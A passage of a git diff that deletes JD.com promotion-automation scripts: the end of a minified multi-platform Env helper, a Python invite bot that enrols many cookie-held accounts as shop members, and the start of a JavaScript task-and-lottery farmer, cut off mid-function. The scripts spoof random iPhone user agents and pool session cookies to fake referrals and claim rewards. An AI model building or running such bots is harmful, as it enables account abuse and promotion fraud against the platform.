jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_prodev.py b/jd_prodev.py deleted file mode 100644 index 5660aeeb2..000000000 --- a/jd_prodev.py +++ /dev/null @@ -1,333 +0,0 @@ -# 邀好友赢大礼 create by doubi 通用模板 -# 17:/椋东送福利,邀请好友,争排行榜排位,大礼送不停,(E1Y7RAtC4b) ,升级新版猄·=·Dσσōngαpρ -# https://prodev.m.jd.com/mall/active/dVF7gQUVKyUcuSsVhuya5d2XD4F/index.html?code=7cfd02e34d6d41028286d6a95cdeea7e&invitePin=jd_5a2bee883014b -# 注意事项 pin 为助力pin 必须保证ck在里面 -# by 逗比 https://t.me/jdsign2 - -import json -import requests,random,time,asyncio,re,os -from urllib.parse import quote_plus,unquote_plus -from functools import partial -print = partial(print, flush=True) - -activatyname = '邀请赢大礼' -activityId = 'dVF7gQUVKyUcuSsVhuya5d2XD4F' # 活动类型 -authorCode = os.environ["prodev"] # 活动id -invitePin = os.environ["invitePin"] # pin 填写cookie后面的pin -activityUrl = f'https://prodev.m.jd.com/mall/active/{activityId}/index.html?code={authorCode}&invitePin={invitePin}' - -# 随机ua -def randomuserAgent(): - global uuid, addressid, iosVer, iosV, clientVersion, iPhone, area, ADID, lng, lat - uuid = ''.join(random.sample( - ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', - 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'z'], 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["15.1.1", "14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) - iosV = iosVer.replace('.', '_') - clientVersion = ''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - area = ''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join( - random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( - random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - lng = '119.31991256596' + str(random.randint(100, 999)) - lat = '26.1187118976' + str(random.randint(100, 999)) - UserAgent = '' - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -# 检测ck状态 -async def check(ua, ck): - try: - url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' - header = { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": ck, - "User-Agent": ua, - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate", - } - result = requests.get(url=url, headers=header, timeout=2).text - codestate = json.loads(result) - if codestate['retcode'] == '1001': - msg = "当前ck已失效,请检查" - return {'code': 1001, 'data': msg} - elif codestate['retcode'] == '0' and 'userInfo' in codestate['data']: - nickName = codestate['data']['userInfo']['baseInfo']['nickname'] - return {'code': 200, 'name': nickName, 'ck': ck} - except Exception as e: - return {'code': 0, 'data': e} - -# 获取当前时间 -def get_time(): - time_now = round(time.time()*1000) - return time_now - -# 登录plogin -async def plogin(ua,cookie): - now = get_time() - url = f'https://plogin.m.jd.com/cgi-bin/ml/islogin?time={now}&callback=__jsonp{now-2}&_={now+2}' - header = { - 'Accept':'*/*', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', - 'Connection': 'keep-alive', - 'Cookie': cookie, - 'Host': 'plogin.m.jd.com', - 'Referer': 'https://prodev.m.jd.com/', - 'User-Agent':ua - } - response = requests.get(url=url,headers=header,timeout=5).text - return response - -# 活动接口 -async def jdjoy(ua,cookie): - - url = f'https://jdjoy.jd.com/member/bring/getActivityPage?code={authorCode}&invitePin={invitePin}&_t={get_time()}' - header = { - 'Accept':'*/*', - 'Accept-Encoding':'gzip, deflate', - 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', - 'Connection':'keep-alive', - 'Content-Type':'application/json', - 'Cookie':cookie, - "Host":'jdjoy.jd.com', - 'Origin':'https://prodev.m.jd.com', - "Referer":'https://prodev.m.jd.com/', - 'User-Agent':ua - } - response = requests.get(url=url,headers=header).text - return json.loads(response) - -# go开卡 -async def ruhui(ua,cookie): - url = f'https://jdjoy.jd.com/member/bring/joinMember?code={authorCode}&invitePin={invitePin}' - header = { - 'Host': 'jdjoy.jd.com', - 'Content-Type': 'application/json', - 'Origin': 'https://prodev.m.jd.com', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': cookie, - 'Connection': 'keep-alive', - 'Accept': '*/*', - 'User-Agent': ua, - 'Referer': activityUrl, - 'Accept-Language': 'zh-cn', - 'request-from': 'native' - } - response = requests.get(url=url,headers=header).text - return json.loads(response) - -# 检查开卡状态 -async def check_ruhui(body,cookie,venderId,ua): - url = f'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body={json.dumps(body)}&client=H5&clientVersion=9.2.0&uuid=88888' - headers = { - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Cookie': cookie, - 'User-Agent': ua, - 'Accept-Language': 'zh-cn', - 'Referer': f'https://shopmember.m.jd.com/shopcard/?venderId={venderId}&channel=801&returnUrl={json.dumps(activityUrl)}', - 'Accept-Encoding': 'gzip, deflate' - } - response = requests.get(url=url,headers=headers,timeout=5).text - return json.loads(response) - -# 领取奖励 -async def getInviteReward(cookie,ua,number): - url = f'https://jdjoy.jd.com/member/bring/getInviteReward?code={authorCode}&stage={number}' - header = { - 'Accept':'*/*', - 'Accept-Encoding':'gzip, deflate', - 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', - 'Connection':'keep-alive', - 'Content-Type':'application/json', - 'Cookie':cookie, - "Host":'jdjoy.jd.com', - 'Origin':'https://prodev.m.jd.com', - "Referer":'https://prodev.m.jd.com/', - 'User-Agent':ua -} - response = requests.get(url=url,headers=header).text - return json.loads(response) - -# 开启活动 -async def firstInvite(cookie,ua): - url = f'https://jdjoy.jd.com/member/bring/firstInvite?code={authorCode}' - header = { - 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Accept-Encoding':'gzip, deflate', - 'Accept-Language':'zh-Hans-US;q=1,en-US;q=0.9', - 'Connection':'keep-alive', - 'Cookie':cookie, - "Host":'jdjoy.jd.com', - 'User-Agent':ua -} - response = requests.get(url=url,headers=header).text - print(response) - return json.loads(response) - -async def get_ck(data): - cklist = [] - if data['code']!=200: - return {'code': 0, 'data':data} - else: - env_data = data['data'] - for ck in env_data: - if 'remarks' in ck and ck['name']=='JD_COOKIE': - cklist.append(ck['value']) - else: - pass - return cklist - - -# 检查pin -def checkpin(cks:list,pin): - for ck in cks: - if pin in ck: - return ck - else: - None - -# 主程序 -async def main(): - try: - cks = os.environ["JD_COOKIE"].split("&") - except: - with open('cklist1.txt','r') as f: - cks = f.read().split('\n') - success = 0 # 计算成功数 - inveteck = checkpin(cks,invitePin) # 根据设定的pin返回对应ck - needinviteNum = [] # 需要助力次数 - needdel = [] - need = [] - if inveteck: - print(f'🔔{activatyname}', flush=True) - print(f'==================共{len(cks)}个京东账号Cookie==================') - print(f'==================脚本执行- 北京时间(UTC+8):{get_time()}=====================\n') - print(f'您好!{invitePin},正在获取您的活动信息',) - ua = randomuserAgent() # 获取ua - result = await check(ua, inveteck) # 检测ck - if result['code'] == 200: - await plogin(ua,inveteck) # 获取登录状态 - await asyncio.sleep(2) - result = await jdjoy(ua,inveteck) # 获取活动信息 - await firstInvite(inveteck,ua) # 开启活动 - if result['success']: - brandName = result['data']['brandName'] # 店铺名字 - venderId = result['data']['venderId'] # 店铺入会id - rewardslist =[] # 奖品 - successCount = result['data']['successCount'] # 当前成功数 - success += successCount - result_data = result['data']['rewards'] # 奖品数据 - print(f'您好!账号[{invitePin}],开启{brandName}邀请好友活动\n去开活动') - for i in result_data: - stage = i['stage'] - inviteNum = i['inviteNum'] # 单次需要拉新人数 - need.append(inviteNum) - rewardName = i['rewardName'] # 奖品名 - rewardNum = i['rewardStock'] - if rewardNum !=0: - needinviteNum.append(inviteNum) - needdel.append(inviteNum) - rewardslist.append(f'级别{stage}: 需助力{inviteNum}人,奖品: {rewardName},库存:{rewardNum}件\n') - if len(rewardslist)!=0: - print('当前活动奖品如下: \n'+str('\n'.join(rewardslist))+f'\n当前已助力{successCount}次\n') - for nmubers in needdel: - if success >= nmubers: - print("您当前助力已经满足了,可以去领奖励了") - print(f'\n这就去领取奖励{need.index(nmubers)+1}') - result = await getInviteReward(inveteck,ua,need.index(nmubers)+1) - print(result) - needinviteNum.remove(nmubers) - await asyncio.sleep(10) - needdel = needinviteNum - if needinviteNum == []: - print('奖励已经全部获取啦,退出程序') - return - for n,ck in enumerate(cks,1): - ua = randomuserAgent() # 获取ua - try: - pin = re.findall(r'(pt_pin=([^; ]+)(?=;))',str(ck))[0] - pin = (unquote_plus(pin[1])) - except IndexError: - pin = f'用户{n}' - print(f'******开始【京东账号{n}】{pin} *********\n') - for n,nmubers in enumerate(needinviteNum,1): - for nmubers in needdel: - if success >= nmubers: - print(nmubers) - print("您当前助力已经满足了,可以去领奖励了") - print(f'\n这就去领取奖励{need.index(nmubers)+1}') - result = await getInviteReward(inveteck,ua,need.index(nmubers)+1) - print(result) - needinviteNum.remove(nmubers) - await asyncio.sleep(10) - needdel = needinviteNum - if needinviteNum == []: - print('奖励已经全部获取啦,退出程序') - return - await plogin(ua,ck) # 获取登录状态 - result = await check(ua, ck) # 检测ck - if result['code'] == 200: - result = await jdjoy(ua,ck) # 调用ck - if result['success']: - print(f'账户[{pin}]已开启{brandName}邀请好友活动\n') - await asyncio.sleep(3) - result= await check_ruhui({"venderId":str(venderId), "channel": "401" },ck,venderId,ua) # 检查入会状态 - try: - if result['result']['userInfo']['openCardStatus']==0: # 0 未开卡 - await asyncio.sleep(2) - print(f'您还不是会员哦,这就去去助力{invitePin}\n') - result = await ruhui(ua,ck) - if result['success']: - success +=1 - print(f'助力成功! 当前成功助力{success}个\n') - if '交易失败' in str(result): - success +=1 - print(f'助力成功! 当前成功助力{success}个\n') - else: - print(result) - await asyncio.sleep(2) - else: - print('您已经是会员啦,不去请求了入会了\n') - continue - - except TypeError as e: - print(e) - result = await ruhui(ua,ck) - if result['success']: - success +=1 - print(f'助力成功! 当前成功助力{success}个\n') - if '交易失败' in result: - success +=1 - print(f'助力成功! 当前成功助力{success}个\n') - else: - print(result['errorMessage']) - await asyncio.sleep(2) - - else: # 没有获取到活动信息 - print('未获取到活动参数信息\n') - break - else: - print(result['data']) - continue - else: - print('未能获取到活动信息\n') - return - - else: - print(result['data']) - return - else: - print(f'pin填写有误,请重试') -if __name__ == "__main__": - asyncio.run(main()) \ No newline at end of file diff --git a/jd_productZ4Brand.js b/jd_productZ4Brand.js deleted file mode 100644 index eba1e589b..000000000 --- a/jd_productZ4Brand.js +++ /dev/null @@ -1,359 +0,0 @@ -/** - 特务Z - 脚本没有自动开卡,会尝试领取开卡奖励 - cron 23 8,9 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_productZ4Brand.js - 一天要跑2次 - */ -const $ = new Env('特务Z'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -let UA = ``; -$.allInvite = []; -let useInfo = {}; -$.helpEncryptAssignmentId = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - try{ - await main(); - }catch (e) { - console.log(JSON.stringify(e)); - } - await $.wait(1000); - } - if($.allInvite.length > 0 ){ - console.log(`\n开始脚本内互助\n`); - } - cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.canHelp = true; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - if(!useInfo[$.UserName]){ - continue; - } - $.encryptProjectId = useInfo[$.UserName]; - for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { - $.codeInfo = $.allInvite[j]; - $.code = $.codeInfo.code; - if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ - continue; - } - $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; - console.log(`\n${$.UserName},去助力:${$.code}`); - await takeRequest('help'); - await $.wait(1000); - } - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) - -async function main() { - $.runFlag = false; - $.activityInfo = {}; - await takeRequest('superBrandSecondFloorMainPage'); - if(JSON.stringify($.activityInfo) === '{}'){ - console.log(`获取活动详情失败`); - return ; - } - console.log(`获取活动详情成功`); - $.activityId = $.activityInfo.activityBaseInfo.activityId; - $.activityName = $.activityInfo.activityBaseInfo.activityName; - $.callNumber = $.activityInfo.activityUserInfo.userStarNum; - console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); - $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; - useInfo[$.UserName] = $.encryptProjectId; - await $.wait(1000); - $.taskList = []; - await takeRequest('superBrandTaskList'); - await $.wait(1000); - await doTask(); - if($.runFlag){ - await takeRequest('superBrandSecondFloorMainPage'); - $.callNumber = $.activityInfo.activityUserInfo.userStarNum; - console.log(`可抽奖次数:${$.callNumber}`); - } - for (let i = 0; i < $.callNumber; i++) { - console.log(`进行抽奖`); - await takeRequest('superBrandTaskLottery');//抽奖 - await $.wait(1000); - } -} -async function doTask(){ - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if($.oneTask.completionFlag){ - console.log(`任务:${$.oneTask.assignmentName},已完成`); - continue; - } - if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ - if($.oneTask.assignmentType === 7){ - console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); - }else{ - console.log(`任务:${$.oneTask.assignmentName},去执行`); - } - let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; - if(subInfo && subInfo[0]){ - $.runInfo = subInfo[0]; - }else{ - $.runInfo = {'itemId':null}; - } - await takeRequest('superBrandDoTask'); - await $.wait(1000); - $.runFlag = true; - }else if($.oneTask.assignmentType === 2){ - console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); - $.allInvite.push({ - 'userName':$.UserName, - 'code':$.oneTask.ext.assistTaskDetail.itemId, - 'time':0, - 'max':true, - 'encryptAssignmentId':$.oneTask.encryptAssignmentId - }); - } else if($.oneTask.assignmentType === 5) { - let signList = $.oneTask.ext.sign2 || []; - if (signList.length === 0) { - console.log(`任务:${$.oneTask.assignmentName},信息异常`); - } - //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { - for (let j = 0; j < signList.length; j++) { - if (signList[j].status === 1) { - console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); - let itemId = signList[j].itemId; - $.runInfo = {'itemId':itemId}; - await takeRequest('superBrandDoTask'); - await $.wait(3000); - } - } - //} - } - } -} -async function takeRequest(type) { - let url = ``; - let myRequest = ``; - switch (type) { - case 'superBrandSecondFloorMainPage': - url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; - break; - case 'superBrandTaskList': - url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; - break; - case 'superBrandDoTask': - if($.runInfo.itemId === null){ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; - }else{ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; - } - if($.oneTask.assignmentType === 5){ - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; - } - break; - case 'superBrandTaskLottery': - url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; - break; - case 'help': - url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; - break; - default: - console.log(`错误${type}`); - } - myRequest = getRequest(url); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`返回信息异常:${data}\n`); - return; - } - switch (type) { - case 'superBrandSecondFloorMainPage': - if(data.code === '0' && data.data && data.data.result){ - $.activityInfo = data.data.result; - } - break; - case 'superBrandTaskList': - if(data.code === '0'){ - $.taskList = data.data.result.taskList; - } - break; - case 'superBrandDoTask': - if(data.code === '0'){ - console.log(JSON.stringify(data.data.bizMsg)); - }else{ - 